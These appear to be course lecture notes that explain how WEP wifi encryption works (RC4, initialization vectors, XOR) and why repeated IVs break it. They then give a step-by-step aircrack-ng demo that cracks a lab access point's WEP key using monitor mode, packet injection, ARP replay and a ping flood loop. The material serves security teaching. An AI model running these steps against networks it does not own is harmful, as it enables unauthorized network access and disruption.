WEP

WEP

an (unfortunately) popular form of wifi encryption
it's not secure!
don't use it
my pet peeve: if encryption is setup by default on a wifi router, it's WEP
    but worse: no encryption setup at all

wired equivalent privacy
    so, like, as private (or confidential) as a wired connection...
        let that sink in...
    requires a key of 10 or 26 hex digits
        so 40 or 104 bits

64-bit WEP
    40-bit key concatenated to 24-bit initialization vector (IV)
        5 ASCII hex characters (5 * 8 = 40)
        initialization vector: random bits to add to the complexity of a cipher
    this forms the seed (a key) for the RC4 cipher
        RC4: a simple cipher that generates a stream of pseudo-random bits given a key
    as the RC4 keystream is generated, the plaintext is xor'd with it to generate ciphertext
        how does this work? e.g.:

plaintext=	0110101011010100	
keystream=	0011001100110011	xor
ciphertext=	0101100111100111	

        without the key, it's hard to decrypt

ciphertext=	0101100111100111	
keystream=	0011001100110011	xor
plaintext=	0110101011010100	yes!

        so the ciphertext is what's blasted over the wifi network
128-bit WEP
    104-bit key concatenated to 24-bit initialization vector
        13 ASCII hex characters (13 * 8 = 104)
    the rest is the same

authentication
    client sends an auth request to the access point (AP)
    AP replies with a plaintext challenge
    client encrypts the plaintext with the WEP key and sends it back to the AP
    AP decrypts the response
        if this matches the challenge, then all is good!

weakness?
    on a busy network, it is possible that an IV is repeated (it's only 24-bits)
    this effectively breaks RC4 since it's a stream cipher (i.e., sending continuous bits)
        if we use the same key, it is noticeable and can be reverse engineered)
    if we sniff and inspect enough packets, we can recover the RC4 key
    if the network is dead, we can inject packets to add to the traffic
    the key is to generate enough IVs so that one repeats

cracking WEP

****a live demo of the following may occur****

note that any values used here are just examples (i.e., they will be different for you)
you will need a WiFi interface that is capable of being put in monitor mode
it's also best if the device can inject packets
monitor mode: listen to APs without associating (hey, they're just waves!)
I recommend the Alfa AWUS036NHA (Google/Amazon it)
or the Alfa AWUS036NH (what I am probably using today)

first, we need aircrack (a suite of tools that largely automates various wifi activities):

```
sudo apt-get install aircrack-ng
```

the demo will be using:
SSID **Constellations**, channel 9, 128-bit WEP with passphrase cyberstorm and key 3
the key: **E0B48B4CAD3BEB19F2FC071434**
assuming a 192.168.1.* network (192.168.1.0/255.255.255.0)

open **four** terminals

connect the wifi interface (wlan)
get name and mac of wlan via **ifconfig** in terminal 1

```
int=wlan9
mac=00:c0:ca:58:e7:f4
```

get WAP specifics in terminals 1 through 3:

```
sudo iwlist $int scan | grep -E '(Address:|Channel:|ESSID:)'
essid=Constellations
bssid=68:7F:74:01:7C:C3
chan=9
```

stop the network manager since it will interfere with aircrack

```
sudo stop network-manager
```

bring wlan down in terminal 1 (if still up)

```
sudo ifconfig $int down
```

connect eth0 to AP in terminal 4 (or do so from another machine)

```
sudo ifconfig eth0 up
sudo dhclient eth0
```

start monitoring in terminal 1 (you must have a wifi device that supports monitor mode)
monitor mode means to listen to an AP without authenticating with it
for us, it just means that we can see the encrypted packets (but they are encrypted)

```
sudo airmon-ng start $int $chan
```

this should have created a monitor interface (**mon0** in this case)
capture packets in terminal 1

```
sudo airodump-ng -c $chan --bssid $bssid -w output mon0
```

now we need to replay packets so that many IVs are generated
authenticate with AP in terminal 2

```
sudo aireplay-ng -1 0 -e $essid -a $bssid -h $mac mon0
```

relay ARP requests in terminal 2 to generate IVs

```
sudo aireplay-ng -3 -b $bssid -h $mac mon0
```

if you get a deauth/disassoc packet, you will have to break and re-authenticate again
then go back to relaying

crack in terminal 3

```
sudo aircrack-ng -b $bssid output*.cap
```

hopefully this doesn't take too long, and the key is discovered

ping (press ctrl+c repeatedly) in terminal 1 (or from the other machine)

```
for ((i=2; i<255; i+=10)); do sudo ping -f -I eth0 -W 0.01 192.168.1.$i; done
```

when successful, stop the monitor interface and clean up in terminal 1

```
sudo airmon-ng stop mon0
sudo rm output*
sudo rm replay*
```

it will also help if you unplug your WiFi interface (if USB) to reset everything

FYI, to restart the network manager

```
sudo NetworkManager
```